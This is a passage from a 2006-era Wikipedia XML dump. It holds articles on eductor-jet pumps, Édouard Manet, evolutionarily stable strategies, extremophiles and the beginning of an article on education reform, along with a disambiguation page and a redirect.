      <text xml:space="preserve">'''Eductor-[[jet]] [[pumps]]''' are useful for draining areas which may contain [[volatile]] fluids (which could ignite if exposed to the workings of a standard electric or [[internal combustion]] powered pump) or high levels of debris (which could damage screws or blades in conventional pump designs).  

A source of pressurized fluid (eg, a firehose) is connected to a chamber which is open on one end, and leads to an exhaust hose on the other end.  The pressurized fluid is forced through [[nozzle]]s (called eductor jets) mounted axially on the inside of the pump chamber, pointed in the direction of the exhaust hose.  The passage of the pressurized fluid through the chamber and into the exhaust hose creates a suction on the open end of the chamber ([[Venturi]] effect), such that any fluid the pump chamber has been submerged in will be drawn into the chamber and thence into the exhaust hose along with the fluid from the eductor jet nozzles.

[[Category:Pumps]]

[[nl:Waterstraalpomp]]</text>
    </revision>
  </page>
  <page>
    <title>Édouard Manet</title>
    <id>9615</id>
    <revision>
      <id>42029322</id>
      <timestamp>2006-03-03T08:48:54Z</timestamp>
      <contributor>
        <ip>24.126.68.131</ip>
      </contributor>
      <comment>/* Luncheon on the Grass (Le déjeuner sur l'herbe) */</comment>
      <text xml:space="preserve">[[Image:Manet-Nadar.jpg|thumb|right|175px|Édouard Manet (portrait by [[Nadar]])]]
'''Édouard Manet''' ([[January 23]], [[1832]] &amp;ndash; [[April 30]], [[1883]]) was a [[France|French]] painter.  One of the first [[19th century]] artists to approach modern-life subjects, his art bridged the gap between [[realism (arts)|Realism]] and [[Impressionism|Impressionism]]. 


== Early life ==

Édouard Manet was born in [[Paris]]. His mother, Eugénie-Desirée Fournier, was the goddaughter of the [[Sweden|Swedish]] crown prince, Charles Bernadotte from whom the current Swedish monarchs are descended, and his father, Auguste Manet, was a French judge. His father wanted him to also pursue a career in law, but he wanted a career in the arts. His uncle, Charles Fournier, encouraged him to pursue painting and often took young Manet to the [[Louvre]]. 

From [[1850]] to [[1856]], after failing the examination to join the navy, Manet studied under academic painter [[Thomas Couture]]. In his spare time he copied the [[Old Master|old masters]] in the Louvre.  He visited [[Germany]], [[Italy]] and [[Netherlands|the Netherlands]], during which time he absorbed the influences of the Dutch painter [[Frans Hals]], and the Spanish artists [[Diego Velázquez]] and [[Francisco Goya|Francisco José de Goya]]. 

Manet, in imitation of the then current style of [[realism (arts)|realism]] initiated by [[Gustave Courbet]], painted everyday subjects like beggars, cafés, bullfights, and other events and scenery. He produced very few religious, mythological, or historical paintings.

== Music in the Tuileries ==

[[Image:Edouard Manet 036.jpg|thumb|250px|left|Music in the Tuileries]]

Manet painted a picture of people he knew enjoying themselves in the Tuileries Gardens. ''Music in the Tuileries'' was a painting of the sort of lifestyle which he enjoyed; music, conversation, dancing and fun. While the picture has been regarded as not very well finished by some, the atmosphere created gives the viewer a sense of what it would be like in the Tuileries gardens at the time; the music which would be playing, the conversation and the sounds of glasses clinking. The senses are very much a part of this work. The work includes a self-portrait. The painting shows people he knew personally; artists, authors and musicians. He based the work on a series of sketches which he did when he visited the Tuileries gardens and did sketches of people relaxing and playing.

== Luncheon on the Grass (Le déjeuner sur l'herbe) ==

:''See main article [[The Luncheon on the Grass]]''

[[image:manet.dejeuner.750pix.jpg|thumb|250px|''[[The Luncheon on the Grass]] (Le déjeuner sur l'herbe)''. [[1863]]. Édouard Manet.]]

One of Manet's best known early paintings is ''[[Le déjeuner sur l'herbe|The Luncheon on the Grass (Le déjeuner sur l'herbe)]]''.  The [[Paris Salon]] rejected it for exhibition in [[1863]] but he exhibited it at the [[Salon des Refusés]] (Salon of the rejected) later in the year. (Emperor Napoleon III initiated The Salon des Refusés, after the Paris Salon rejected more than 4,000 paintings in [[1863]].) The painting's juxtaposition of dressed men and a nude woman was controversial, as was its abbreviated sketch-like style &amp;mdash; an innovation that distinguished Manet from Courbet. However, Manet's composition is derived from [[Marcantonio Raimondi]]'s engraving ''The Judgment of Paris'' (c. [[1510]]) after a drawing by [[Raphael]].

== Olympia ==

:''See main article [[Olympia (painting)]]''

[[Image:Edouard Manet Olympia 1863.jpg|thumb|Olympia]]

Manet took respected works by [[Renaissance]] artists and updated them, a practice he also adopted in ''[[Olympia (painting)|Olympia]]'' ([[1863]]), a nude portrayed in a style reminiscent of the early studio [[photography| photographs]], but which was based on [[Titian]]'s ''[[:Image:Venus of Urbino.jpg|Venus of Urbino]]'' ([[1538]]). The painting was seen as controversial partly because the nude is wearing some small items of clothing such as an orchid in her hair, a bracelet, a ribbon around her neck and mule slippers, she has a look of defiance as well. It also has a fully dressed servant next to her, the same effect of having a nude next to fully dressed people, as in Luncheon on the Grass.

== Life and times ==

The roughly painted style and photographic lighting in these works was seen as specifically modern, and as a challenge to the Renaissance works Manet updated. His work is considered early modern because of its black outlining of figures that draws attention to the surface of the picture plane and the materiality of paint.

He became friends with the [[Impressionism|impressionists]] [[Edgar Degas]], [[Claude Monet]], [[Pierre-Auguste Renoir]], [[Alfred Sisley]], [[Paul Cezanne|Paul Cézanne]], and [[Camille Pissarro]] in part through his sister-in-law [[Berthe Morisot]], who was a member of the group.  [[Eva Gonzalès]] was his only student.

Unlike the core impressionist group, Manet consistently believed that modern artists should seek to exhibit at the [[Paris Salon]] rather than abandon it. Though his own work influenced and anticipated the impressionist style, he resisted involvement in impressionist exhibitions, partly because he did not wish to be seen as the representative of a group identity, and partly because of his disapproval of their opposition to the salon system. Nevertheless, when Manet was excluded from the International exhibition of [[1867]], he set up his own exhibition.

[[Image:Manet, Edouard - Self Portrait with a Palette.jpg|thumb|left|Self-portrait with palette]]
He was influenced by the impressionists, especially by Monet, and to an extent Morisot. Their impact  is seen in Manet's use of lighter colors, but he retained his distinctive use of blocks of black, uncharacteristic of impressionist painting. He painted many outdoor ([[En plein air|plein air]]) pieces, but always returned to what he considered serious work in the studio.

Throughout his life, though resisted by art critics, Manet had many champions. [[Émile Zola]] supported him publicly in the press, and [[Stéphane Mallarmé]], as well as [[Charles Baudelaire]], who had challenged him to depict life as it was. Manet, in turn, made many sketchings of them.

== Cafe scenes ==
[[Image:Edouard Manet 030.jpg|thumb|The Cafe Concert]]

Manet's paintings of cafe scenes show the leisurely world of restaurants in Paris. People are depicted doing many activities such as drinking beer, listening to music, flirting, reading or waiting. He often visited the Brasserie Reichshoffen on boulevard de Rochechourt, and based on what he saw there, he painted ''At the Cafe'' in 1878. This painting shows several people at a bar, a woman looking towards the viewer while others wait to be served. He also painted typical views of what he would have seen upon going to one of these places, a crowded scene of people drinking, enjoying themselves, talking, having fun. They are painted in a style which is loose, yet captures the mood and feeling of a bar at night; crowded with many things happening.

In ''Corner of a Cafe Concert'', Manet shows a person smoking while behind him a waitress is in the middle of serving drinks. In ''The Beer Drinkers'' a woman drinks from a glass at a table with another woman. In ''The Cafe Concert'' a more sophisticated looking gentleman sits at a bar while a waitress stands very confidently in the background sipping her drink. Many of these paintings he based on sketches which he did at the cafes. These paintings usually showed a happy party going atmosphere. In ''The Wai''tress, a waitress pauses for a moment behind a seated customer smoking a pipe, while a ballet dancer, with arms extended as she is about to turn, is on stage in the background.

Manet often sat at the restaurant on the [[Avenue de Clichy]] called Pere Lathuille's, which had a garden as well as the eating area. One of the paintings he produced here was ''At Pere Lathuille's'' showing a man looking very interested in a woman sitting at a table at the restaurant who does not seem as interested in him as he is in her. He looks like he is getting too close and possibly annoying her, while she sits rigidly and disinterested. 

In ''Le Bon Bock'', a large, cheerful, bearded man sits with a pipe in one hand and a glass of [[beer]] in the other, looking straight at the viewer, from where he sits at the corner of a bar. 

== Paintings of social activities ==
[[Image:Edouard Manet 053.jpg|thumb|Racing at Longchamp]]

Social activities were portrayed in works by Manet. In ''Masked ball at the Opera'', Manet shows a crowd of people enjoying a [[party]]. Men stand with top hats and long black suits while talking to women with masks and costumes. It is a crowded atmosphere of an enjoyable activity. He included portraits of his friends in this picture. 

Manet depicted other popular activities in his work, such as the races in ''Racing at Longchamp'', which shows popular horse racing, where the excitement of the horses as they rush towards the viewer is shown. In ''Skating'' Manet shows a well dressed woman in the foreground, with people simply having fun skating in the background. 

In View of the International Exhibition, Manet's painting shows soldiers relaxing seated and standing; several couples of well to do people talking; a gardener; a boy with a dog; a woman on horseback; a sample of all the classes and ages of the people of Paris.

''Masked Ball at the Opera'' shows men with bow ties and black suits stand around chatting with fancifully dressed women with masks.

== Paris ==

Manet depicted many scenes of the streets of Paris in his works. He did several paintings showing the streets when French flags were unfurled along the sides, and the horses and carts, and people walking past could be seen. The ''Rue Mosnier Decked with Flags'', which is quite a blurry work, shows the red, white and blue flags all over the buildings on either side of the street. He did another painting of the same subject with the same title, showing a man with one leg walking by with crutches at the bottom left and flags all over. Again depicting the same street, but this time in a different context, is ''Rue Monsnier with Pavers'', where he shows the men repairing the street while people and horses move past in the background.

He also painted a scene of a woman waiting for a train in Paris in ''The Railroad'', where a woman who is the middle of reading a book looks up at the viewer momentarily, while a young girl stands looking at the nearby train with all its noise and smoke. It is an oil painting on canvas. It is currently displayed in Washington D.C. in the National Gallery of Art.

== Outside Paris ==

On holidays Manet painted his surroundings such as when he went to Bologne during the summer. On these trips he painted ''Departure of the Folkestone Boat'' which shows a crowd of well dressed people milling about in front of where they would watch the boat leave, or possibly wave to people they knew on the boat. The lady in the long white dress holding a dainty umbrella to the left of centre sums up this relaxed scene. He also painted Moonlight over Boulogne Harbour which is a darker painting at night time, which nevertheless shows the moonlight glistening off the water; a calm view of the serene harbour at night.

==  A Bar at the Folies-Bergère ==

:''See main article [[A Bar at the Folies-Bergère]]''

[[Image:Edouard_Manet._A_Bar_at_the_Folies-Bergère.JPG|thumb|250px|''A Bar at the Folies-Bergère (Le Bar aux Folies-Bergère).'' [[1882]]. Édouard Manet.]]
He painted his last major work, ''[[A Bar at the Folies-Bergère]] (Le Bar aux Folies-Bergère)'', in [[1881]]&amp;ndash;[[1882]] and it hung in the Salon that year.

In [[1875]] a French edition of [[Edgar Allan Poe]]'s ''[[The Raven]]'' included lithographs by the Manet and translation by Mallarmé.[http://digitalgallery.nypl.org/nypldigital/dgkeysearchresult.cfm?parent_id=173889&amp;word=] [http://www.gutenberg.org/etext/14082]

In [[1881]], with pressure from his friend [[Antonin Proust]], the French government awarded Manet the [[Légion d'honneur]].

== Death ==

Manet died of untreated [[syphilis]], which caused much pain and partial paralysis from [[Tabes dorsalis|locomotor ataxia]] in his later years. His left foot was amputated because of [[gangrene]] 11 days before he died.

He died in Paris in [[1883]] and is buried in the city's [[Cimetière de Passy]].

In [[2000]], one of his paintings sold for over [[United States dollar|$]]20 million.

[[Image:ManetPassy.jpg|thumb|left|Manet's Tomb at Passy Cemetery.]]

==External links==
{{Commonscat|Edouard Manet}}
* [http://www.biography.com/impressionists/artists_manet.html ''The Impressionsts: Manet'' at biography.com]
* [http://www.abcgallery.com/M/manet/manet.html Édouard Manet at Olga's Gallery]
* {{gutenberg author|id= Édouard_Manet|name= Édouard Manet}}

[[Category:Édouard Manet| Manet, Édouard]]
[[Category:1832 births|Manet,]]
[[Category:1883 deaths|Manet, Édouard]]
[[Category:French painters|Manet, Édouard]]
[[Category:Realism painters|Manet, Édouard]]
[[Category:Impressionist painters|Manet, Édouard]]
[[Category:Legion of Honor recipients|Manet, Édouard]]

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[[bg:Едуард Мане]]
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[[zh:愛德華·馬內]]</text>
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  </page>
  <page>
    <title>Evolutionarily stable strategy</title>
    <id>9616</id>
    <revision>
      <id>40147862</id>
      <timestamp>2006-02-18T14:29:37Z</timestamp>
      <contributor>
        <ip>219.102.37.181</ip>
      </contributor>
      <comment>+ja</comment>
      <text xml:space="preserve">{{Infobox equilibrium|
name=Evolutionarily stable strategy|
subsetof=[[Nash equilibrium]]|
intersectwith=[[Subgame perfect equilibrium]], [[Trembling hand perfect equilibrium]], [[Perfect Bayesian equilibrium]]|
discoverer=[[John Maynard Smith]] and [[George R. Price]]|
example=[[Hawk-dove]] (aka [[Game of chicken]]|
usedfor=[[Biology|Biological modeling]] and [[Evolutionary game theory]]}}

In [[game theory]], an '''evolutionarily stable strategy''' (or ESS; also evolutionary stable strategy) is a [[strategy (game theory)|strategy]] which if adopted by a [[population genetics|population]] cannot be invaded by any competing alternative strategy.   The concept is an [[equilibrium refinement]] to a [[Nash equilibrium]].  The difference between a Nash equilibrium and an ESS is that a Nash equilibrium may sometimes exist due to the assumption that [[Homo economicus|rational foresight]] prevents players from playing an alternative strategy with no short term cost, but which will eventually be beaten by a third strategy.  An ESS is defined to exclude such equilibria, and assumes only that [[natural selection]] prevent players from using strategies which lead to lower payoffs.

The definition of an ESS was introduced by [[John Maynard Smith]] and [[George R. Price]] in 1973 (a full account is given by Maynard Smith's 1982 book ''[[Evolution and the Theory of Games]]'') based on [[W.D. Hamilton]]'s (1967) concept of an [[unbeatable strategy]] in [[sex ratio]]s.  The idea can be traced back to [[Ronald Fisher]] (1930) and [[Charles Darwin]] (1859), (see Edwards, 1998).

== Nash equilibria and ESS ==

A [[Nash equilibrium]] is a strategy in a game such that if all players adopt it, no player will benefit by switching to play any alternative strategy.  If a player choosing strategy ''J'' in a population where all other players play strategy ''I'' recieves a payoff of E(''J'',''I''), then strategy ''I'' is a Nash equilibrium if,
:E(''I'',''I'') &amp;ge; E(''J'',''I'')
This equilibrium definition allows for the possibility that strategy ''J'' is a neutral alternative to ''I'' (it scores equally, but not better).  A Nash equilibrium is presumed to be stable even if ''J'' scores equally, on the assumption that players do not play ''J''

[[John Maynard Smith|Maynard Smith]] and [[George R. Price|Price]] specify (Maynard Smith &amp; Price, 1973; [[Evolution and the Theory of Games|Maynard Smith 1982]]) two conditions for a strategy ''I'' to be an ESS. Either

# E(''I'',''I'') &gt; E(''J'',''I''), or
# E(''I'',''I'') = E(''J'',''I'') and E(''I'',''J'') &gt; E(''J'',''J'')

must be true for all ''I'' &amp;ne; ''J'', where E(''I'',''J'') is the expected payoff to strategy ''I'' when playing against strategy ''J''.

The first condition is sometimes called a 'strict Nash' equilibrium (Harsanyi, 1973), the second is sometimes referred to as 'Maynard Smith's second condition'.

There is also an alternate definition of ESS which, though it maintains functional equivalence, places a different emphasis on the role of the Nash equilibrium concept in the ESS concept.  Following the terminology given in the first definition above, we have (adapted from Thomas, 1985):

# E(''I'',''I'') &amp;ge; E(''J'',''I''), and
# E(''I'',''J'') &gt; E(''J'',''J'')

In this formulation, the first condition specifies that the strategy be a Nash equilibrium, and the second specifies that Maynard Smith's second condition be met.  Note that despite the difference in formulation, the two definitions are actually equivalent.

One advantage to this change is that the role of the Nash equilibrium in the ESS is more clearly highlighted.  It also allows for a natural definition of other concepts like a [[weak ESS]] or an [[evolutionarily stable set]] (Thomas, 1985).


=== An example ===


Consider the following [[payoff matrix]], describing a coordination game such as the [[Stag hunt]], or [[Battle of the sexes (game theory)|Battle of the sexes]]:

{| border=&quot;1&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot;
|-
|
! A
! B
|-
! A
| 1, 1
| 0, 0
|-
! B
| 0, 0
| 1, 1
|}

Both strategies A and B are ESS, since a B player cannot invade a population of A players nor can an A player invade a population of B players.  Here the two pure strategy Nash equilibria correspond to the two ESS.  In this second game, which also has two pure strategy Nash equilibria, only one corresponds to an ESS:

{| border=&quot;1&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot;
|-
|
! C
! D
|-
! C
| 1, 1
| 0, 0
|-
! D
| 0, 0
| 0, 0
|}

Here (D, D) is a Nash equilibrium (since neither player will do better by unilaterally deviating), but it is not an ESS.  Consider a C player introduced into a population of D players.  The C player does equally well against the population (she scores 0), however the C player does better against herself (she scores 1) than the population does against the C player.  Thus, the C player can invade the population of D players.

Even if a game has pure strategy Nash equilibria, it might be the case that none of the strategies are ESS.  Consider the following example (known as [[Game of chicken|Chicken]]):

{| border=&quot;1&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot;
|-
|
! E
! F
|-
! E
| 0, 0
| -1, +1
|-
! F
| +1, -1
| -20, -20
|}

There are two pure strategy Nash equilibria in this game (E, F) and (F, E).  However, in the absence of an [[uncorrelated asymmetry]]), neither F nor E are ESSes.  A third Nash equilibrium exists, a mixed strategy, which is an ESS for this game (see [[Hawk-dove game]] and [[Best response]] for explanation).

== ESS vs. Evolutionarily Stable State ==

:An '''ESS''' or '''evolutionarily stable strategy''' is a strategy such that, if all the members of a population adopt it, no mutant strategy can invade. --[[John Maynard Smith|Maynard Smith]] (1982).

:A population is said to be in an '''evolutionarily stable state''' if its genetic composition is restored by selection after a disturbance, provided the disturbance is not too large. Such a population can be genetically monomorphic or polymorphic. --[[John Maynard Smith|Maynard Smith]] (1982).

An ESS is a strategy with the property that, once virtually all members of the population use it, then no 'rational' alternative exists.  An [[evolutionarily stable state]] is a dynamical property of a population to return to using a strategy, or mix of strategies, if it is perturbed from that strategy, or mix of strategies.  The former concept fits within classical [[game theory]], whereas the latter is a [[population genetics]], [[dynamical system]], or [[evolutionary game theory]] concept.

== Prisoner's dilemma and ESS ==

Consider a large population of people who, in the iterated [[prisoner's dilemma]], always play [[Tit for Tat]] in transactions with each other.  (Since almost any transaction requires trust, most transactions can be modelled with the ''prisoner's dilemma''.) If the entire population plays the ''Tit-for-Tat'' strategy, and a group of newcomers enter the population who prefer the ''Always Defect'' strategy (i.e. they try to cheat everyone they meet), the ''Tit-for-Tat'' strategy will prove more successful, and the ''defectors'' will be converted or lose out.   ''Tit for Tat'' is therefore an ESS, ''with respect to these two strategies''.  On the other hand, an island of ''Always Defect'' players will be stable against the invasion of a few ''Tit-for-Tat'' players, but not against a large number of them.  (see [[Robert Axelrod]]'s [[The Evolution of Cooperation]], or more briefly [http://www.urticator.net/essay/2/217.html here]).

== ESS and human behavior ==

The recent, controversial sciences of [[sociobiology]] and now [[evolutionary psychology]] attempt to explain animal and human behavior and social structures, largely in terms of evolutionarily stable strategies.  For example, in one [http://www.bbsonline.org/Preprints/OldArchive/bbs.mealey.html well-known 1995 paper] by Linda Mealey, [[sociopathy]] (chronic antisocial/criminal behavior) is explained as a combination of two such strategies.

Although ESS were originally considered as stable states for biological evolution, it need not be limited to such contexts.  In fact, ESS are stable states for a large class of [[adaptive dynamics]].  As a result ESS are used to explain human behavior without presuming that the behavior is necessarily determined by [[gene]]s.

== References ==

* [[Charles Darwin]] (1859). ''[[On the Origin of Species]]''
* [[Ronald Fisher]] ''[[The Genetical Theory of Natural Selection]]''. Clarendon Press, Oxford.
* [[W.D. Hamilton]] (1967)  &quot;Extraordinary sex ratios.&quot;  ''[[Science (journal)|Science]]'' 
* [[John Harsanyi|Harsanyi, J]] (1973) &quot;Oddness of the number of equilibrium points: a new proof&quot;. Int. J. Game Theory. 2: 235-250.
* [[John Maynard Smith]] and [[George R. Price]]  (1973). &quot;The logic of animal conflict.&quot; ''[[Nature (journal)|Nature]]''
* [[John Maynard Smith]]. (1982) ''[[Evolution and the Theory of Games]]''.  ISBN 0521288843
* [[Robert Axelrod]] (1984) ''[[The Evolution of Cooperation]]'' ISBN 0465021212
* [[Bernhard Thomas|Thomas, B]] (1985) &quot;On evolutionarily stable sets.&quot; J. Math. Biology 22: 105-115. 

==External links==
*[http://www.bbsonline.org/Preprints/OldArchive/bbs.mealey.html ''The Sociobiology of Sociopathy'', Mealey, 1995]

{{Game_theory}}

[[Category:Game theory]]
[[Category:evolutionary biology]]
[[de:Evolutionär stabile Strategie]]
[[fr:Stratégie évolutionnairement stable]]
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  </page>
  <page>
    <title>Element</title>
    <id>9617</id>
    <revision>
      <id>40232840</id>
      <timestamp>2006-02-19T03:16:38Z</timestamp>
      <contributor>
        <username>Prsephone1674</username>
        <id>97846</id>
      </contributor>
      <minor />
      <comment>style edit [[Wikipedia:Elements_of_Style_improvement_project|You can help!]]</comment>
      <text xml:space="preserve">{{wiktionarypar|element}}

The term '''element''' means &quot;a constituent part&quot; and may also mean:

In '''chemistry''' or '''electronics''':
* [[Chemical element]], the class of atoms with the same number of protons in the nucleus
* [[Electrical element]], any device (such as an inductor, resistor, capacitor, conductor, line, or cathode ray tube) with terminals at which it may be connected directly with other devices. It can also mean an antenna radiator (either parasitic or active). In circuitry, it can be used to specify a portion of an integrated circuit that contributes directly to the IC's operation
* [[Picture element]], better known as a pixel on a display device

In '''mathematics''':
* [[Element (mathematics)]], a member of a set or class
* ''[[Euclid's Elements]]'', a mathematical treatise on geometry

In '''philosophy''':
* [[Classical element]], in ancient times believed to be the realm wherein all matter in the universe existed and whereof all matter consisted. Also used for rituals by modern paganism, most prominently Wicca and ceremonial magic.
* [[Five elements (Chinese philosophy)]], the basis of the universe according to Chinese Taoism
* [[Five elements (Japanese philosophy)]], the basis of the universe according to Japanese philosophy
* [[Tattva]], the basis of the universe according to Hindu Samkhya philosophy

In '''music''':
* ''[[Elements - The Best of Mike Oldfield]]'', a compilation album by Mike Oldfield
* [[The Elements (song)]], by Tom Lehrer
* [[Element (band)]], band from Indonesia

'''Element''' may also refer to:
* [[Element Skateboards]], a skateboard manufacturer
* [[Honda Element]], a sport utility vehicle

The term is also used as terminology in:
* [[Morse code]], where the dot and dash are elements
* [[XML]], where an element is a particular kind of grammatical fragment of a document

==See also==
* [[Elemental (disambiguation)]]

{{disambig}}

[[de:Element]]
[[et:Element]]
[[eo:Elemento]]
[[fr:Élément]]
[[ga:Dúil]]
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  <page>
    <title>Emission line</title>
    <id>9618</id>
    <revision>
      <id>15907491</id>
      <timestamp>2004-10-16T23:12:44Z</timestamp>
      <contributor>
        <username>JTN</username>
        <id>81094</id>
      </contributor>
      <comment>merged into [[spectral line]]</comment>
      <text xml:space="preserve">#REDIRECT [[spectral line]]</text>
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  </page>
  <page>
    <title>Extremophile</title>
    <id>9619</id>
    <revision>
      <id>41029242</id>
      <timestamp>2006-02-24T16:22:38Z</timestamp>
      <contributor>
        <username>Vossman</username>
        <id>250800</id>
      </contributor>
      <comment>/* Types of extremophiles */ +pic</comment>
      <text xml:space="preserve">An '''extremophile''' is an [[organism]], usually [[unicellular organism | unicellular]], which thrives in or requires &quot;extreme&quot; conditions.  It is important to note that the definition of &quot;extreme&quot; in this context is [[anthropocentric]]; from the point of view of the organism, its [[natural environment|environment]] is completely normal.  

Because many extremophiles are [[Archaea]] and most known archaea are extremophilic, on occasion, the terms are used interchangeably.  However, this is not strictly correct and many [[bacterium|bacteria]] and [[eukarya]] are extremophilic.  Additionally, not all extremophiles are unicellular.  Examples of extremophilic [[metazoa]] are the [[Pompeii worm]] and the [[Psychrophile|psychrophilic]] [[Grylloblattodea]] ([[insect]]s) and [[antarctic krill]] ([[crustaceans]]) .

== Types of extremophiles ==

There are many different classes of extremophiles, each corresponding to the way its chosen environment differs from what is considered &quot;normal&quot; by other organisms.  These classifications are not exclusive.  Many extremophiles fall under multiple categories.   For example, organisms living inside hot rocks deep under Earth's surface are both ''thermophilic'' and ''barophilic''.

[[image:pompeii worm colony.jpg|right|thumb|200px|A [[Pompeii worm]] colony near a [[hydrothermal vent]].&lt;BR&gt;Photo credit: University of Delaware]]

* [[Acidophile]]: An organism with an optimum [[pH]] level at or below pH 3.
* [[Alkaliphile]]: An organism with optimal growth at pH levels of 9 or above.
* [[Endolith]]: An organism that lives inside rocks.
* [[Halophile]]: An organism requiring at least 2[[molarity|M]] of [[NaCl]] for growth.
* [[Hyperthermophile]]: An organism that can thrive at temperatures between 80-110 °C.
* [[Hypolith]]: An organism that lives inside rocks in cold deserts.
* [[Metalotolerant]]: capable of tolerating high levels of heavy metals, such as [[copper]], [[cadmium]], [[arsenic]], and [[zinc]].
* [[Oligotroph]]: An organism capable of growth in nutritionally limited environments.
* [[Piezophile]]: An organism that lives optimally at high hydrostatic [[pressure]]. See also [[Barophile]]
* [[Polyextremophile]]: An organism that can survive different extreme conditions.
* [[Psychrophile]]: An organism that can thrive at temperatures of 15 °C or lower.
* [[Radioresistant]]: resistant to high levels of [[ionizing radiation]].
* [[Thermophile]]: An organism that can thrive at temperatures between 60-80 °C.
* [[Xerophile]]: An organism that can grow in environments with a low [[water activity]].

== Bacteria on the Moon ==

[[Apollo 12]] astronauts retrieved parts from the [[Moon|lunar]] probe [[Surveyor 3]] for analysis. A common bacteria, [[Streptococcus mitis]], was unintentionally present inside the spacecraft's camera at launch. Around 50 to 100 of these bacteria survived [[dormant]] in this harsh environment for three years, to be detected when Apollo 12 brought the camera back to Earth.  Many bacteria have dormant forms which can survive in harsh environments, and merely being dormant is not sufficient to make an organism be considered an extremophile.

== External links ==
{{wikinewspar|Bacteria thrive deep under sea floor}}
* http://www.nhm.ac.uk/zoology/extreme.html
* [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=12813059&amp;itool=iconpmc Extremophiles 2002]
* [http://www.daviddarling.info/encyclopedia/E/extremophile.html DaveDarling's Encyclopedia of Astrobiology, Astronomy, and Spaceflight]


[[Category:Microbiology]][[Category:Extremophiles]]

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    <id>9620</id>
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      <text xml:space="preserve">'''Education reform''' is a plan, program, or movement which attempts to bring about a systematic change in [[education]]al theory or practice across a [[community]] or [[society]].

At the current time, in the [[United States]], public attention focuses on the high expense and poor outcomes of primary and secondary schools relative to their counterparts in other countries. The U.S. however, has the best [[tertiary]] education system in the world. Important contributing factors to this excellence seem to be that this system admits on tested [[merit]], is supported by a large base of paying students—affording it the best teachers and researchers, and has nearly perfect [[student choice]]—leading to poor institutions losing funding.

== History ==

=== Classical times ===

Plato believed that children would never learn unless they wanted to learn. In ''The Republic'', he said &quot;...compulsory learning never sticks in the mind.&quot;

One of the most important educational debates in the time of the [[Roman Empire]] arose after [[Christianity]] had achieved broad acceptance. The question concerned the educational value of pre-Christian classical thought:  given that the body of knowledge of the pre-Christian Romans was heathen in origin, was it safe to teach it to Christian children?   

In general, works of history, science, philosophy and literary art were preserved. Works on magic and nonchristian religions were not preserved. For example, [[Euclid]]'s books on Geometry were widely used. [[Aristotle]]'s works in logic, politics, law and natural science were used.  [[Plato]]'s Socratic debates and [[Aristophanes]]' plays included questions of philosophy, morality and ethics, and were preserved despite their occasional moral ambiguity. The writings of [[Herodotus]] and [[Plutarch]] were considered acceptable for teaching history.

=== Modern reforms ===

Education reforms in modern times arose first against neo-classical education, known in America as &quot;humanistic&quot; education, which resembled in many respects [[classical education]]. Motives for parting with classical methods were diverse, and included economic factors, differences in the aims of education—normalizing immigrants and the poor as opposed to training the upper and middle classes, and differences in educational philosophy.

=== Reforms of classical education ===

Western [[classical education]] as taught from the 8th to the 19th century has weaknesses that inspired reformers.

Classical education is most concerned with answering the &quot;who, what, when, where&quot; and &quot;how&quot; questions that concern a majority of students. Unless carefully taught, group instruction naturally neglects the theoretical &quot;why&quot; and &quot;which&quot; questions that strongly concern a minority of students.

Young children with short attention spans often enjoy repetition, but only if the subject is changed every few minutes. Skilled, compassionate primary classical teachers (always a rare breed, now nearly nonexistent) have always changed subjects continually and rapidly. Unskilled, or unkind classical teachers have drilled the joy of learning right out of young heads. ()

Some people can regurgitate words and yet never understand what they mean in the real world. This was terribly common among classically educated scholars.

Classical education in this period also deprecated local languages and cultures in favor of ancient languages (greek and Latin) and their cultures.  This produced odd social effects in which an intellectual class might be more loyal to ancient cultures and institutions than to their native vernacular languages and their actual governing authorities.

Classical education can also be expensive, difficult and boring.

Reforms have taken several tracks.
# Reduce the expense of a classical education. Ideally, classical education is undertaken with a highly-educated full-time (extremely expensive) personal tutor.  The usual method is to teach people how to learn, and make a living and then provide libraries.
# Develop the same results as a classical education with less effort, by concentrating on neglected &quot;why&quot; and &quot;which&quot; questions, which theoretically can compress large amounts of facts into relatively few principles.
# Bring educational topics into a concrete focus. In these reforms, book-learning is de-emphasized in favor of real-world experience. A rather insulting sub-text of many such reformers is to imply that average persons cannot profit from theory or information irrelevant to their every-day tasks.
# Maintain a group's cultural and national identity.

== Educational economies in the 1800s ==

Prior to the advent of government-funded public schools, the primary mode of education for those of the lower classes was the charity school, pioneered during the [[1800s]] by [[Protestant]] organizations and adapted for use by the [[Roman Catholic Church]] and governmental bodies. Because these schools operated on very small budgets and attempted to serve as many needy children as possible, economic factors were prominent in their design.

The basic program was to develop &quot;grammar&quot; schools. These taught only grammar and [[bookkeeping]].  This program permits people to start businesses to make money, and gives them the skills to continue their education inexpensively from books.  &quot;Grammar&quot; was the first third of the then-prevalent system of [[Classical education]].  

The ultimate development of the grammar school was by [[Joseph Lancaster]], who started as an impoverished [[Religious Society of Friends|Quaker]] in early 19th century [[London]]. Lancaster used slightly more-advanced students to teach less-advanced students, achieving student-teacher ratios as small as 2, while educating more than a thousand students per adult. Lancaster promoted his system in a piece called [http://www.constitution.org/lanc/improv-1803.htm Improvements in Education] that spread widely throughout the English-speaking world.

Discipline and labour in a Lancaster school were provided by an economic system. Scrip, a form of money meaningless outside the school, was created at a fixed exchange rate from a student's tuition. Every job of the school was bid-for by students in scrip. The highest bid won. The jobs permitted students to collect scrip from other students for services rendered. However, ''any'' student tutor could auction positions in his or her classes. Besides tutoring, students could use script to buy food, school supplies, books, and childish luxuries in a school store. The adult supervisors were paid from the bids on jobs.

With fully-developed internal economies, Lancaster schools provided a grammar-school education for a cost per student near $40 per year in 1999 U.S. dollars. The students were very clever at reducing their costs, and once invented, improvements were widely adopted in a school. For example, Lancaster students, motivated to save scrip, ultimately rented individual pages of textbooks from the school library, and read them in groups around music stands to reduce textbook costs. Exchanges of tutoring, and using receipts from &quot;down tutoring&quot; to pay for &quot;up tutoring&quot; were commonplace.

Established educational elites found Lancaster schools so threatening that most English-speaking countries developed mandatory publicly-paid education explicitly to keep public education in &quot;responsible&quot; hands.  These elites said that Lancaster schools might become dishonest, provide poor education and were not accountable to established authorities.  Lancaster's supporters responded that any schoolchild could avoid cheats, given the opportunity, and that the government was not paying for the educations, and thus deserved no say in their composition.

Lancaster, though motivated by charity, claimed in his pamphlets to be surprised to find that he lived well on the income of his school, even while the low costs made it available to the poorest street-children.
